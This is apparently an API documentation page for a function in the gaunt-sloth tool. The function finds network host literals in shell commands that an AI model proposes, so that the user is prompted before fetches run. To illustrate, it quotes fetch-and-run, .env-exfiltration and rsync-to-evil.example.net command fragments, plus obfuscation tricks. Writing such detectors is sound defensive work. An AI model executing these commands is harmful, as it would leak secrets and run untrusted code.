Skip to content

findOpenWorldHostLiterals

findOpenWorldHostLiterals(command): string[]

Defined in: _worktrees/docs-release/gaunt-sloth/packages/core/src/core/shell/openWorld.ts:636

Find every host literal in a fetch/transfer position, or an empty array when the command names no counterparty (spec §4.6).

Takes the raw command, exactly like the other preflights: normalization happens inside, so a caller can never accidentally hand this a form that has already lost the composition boundary the decline below depends on.

This is the FLOOR’s input set, and it is narrow on purpose. It returns [] — declining rather than flooring — for any command classifyCommand cannot classify: those compose, substitute or redirect, and a deterministic rewrite of the rater’s verdict must rest on a target this module actually resolved. A composed fetch (curl … | sh, cat .env | curl …) is therefore not floored; it is reported to the rater as context by findComposedOpenWorld instead, which is a different question with a different error cost (module docblock). The same decline is why sed -i 's|http://a|http://b|' config.yml is not this preflight’s finding: the | inside the sed expression reads as composition.

Every match is returned, not the first. The first is not the target: for curl -x http://proxy.corp.local:3128 https://evil.example.net/x it is the proxy, and for rsync -a backup.example.com:/srv/ deploy@evil.example.net:/tmp/ it is the source. §4.6.1’s whole premise is that the sentence naming the counterparty is what reaches the user, so a sentence that names the reassuring one and hides the other defeats the point of the layer.

Why both the normalized AND the raw argv are tested

Section titled “Why both the normalized AND the raw argv are tested”

normalizeCommand collapses \x to x, which is correct on POSIX (it is what defeats c\url https://…) and destroys a Windows path separator: C:\Windows\System32\curl.exe normalizes to C:WindowsSystem32curl.exe, whose last path segment is no longer curl, so the head gate misses it. That command runs on Windows, and gaunt-sloth ships there. Measured, not reasoned — the POSIX form /usr/bin/curl was already handled, which is exactly what made the Windows one easy to miss by reading.

A second pass over the raw argv closes it. It is safe because this layer can only RAISE: a second chance to match can add a prompt, never remove one, and the head gate is unchanged — an argv[0] whose last path segment is literally curl or wget is a network binary under any reading. The normalized pass still runs first and still owns the anti-obfuscation guarantees.

[[EXT-106]] — this function now has TWO readers, and their error costs are OPPOSITE

Section titled “[[EXT-106]] — this function now has TWO readers, and their error costs are OPPOSITE”

Everything above is written for the FLOOR, whose question is “does this command name a counterparty?” and whose miss costs one prompt — which is why declining on anything classifyCommand cannot resolve is safe there.

§4.6’s user-provenance carve-out asks a second question of the same answer: “were all the counterparties in this command named by the user?” (import(‘./provenance.js’).carvedOpenWorldHosts). A miss there costs an unprompted fetch: a host this function declines to report is a host the carve-out never has to find in the user’s own words. So a change that makes this decline more — a new abstention, a narrower head gate, a position quietly dropped — is no longer automatically safe, and “this layer can only raise” is no longer the whole argument for one. Weigh both readers before widening a decline.

The carve-out does not rest on this alone: it also requires the literal to survive the extraction over the raw argv (findOpenWorldHostLiteralsInArgv), so a host that exists only after normalization floors rather than carves.

string

The raw command string as the model proposed it.

string[]

The matched host literals, in argv order (used verbatim in the escalation reason).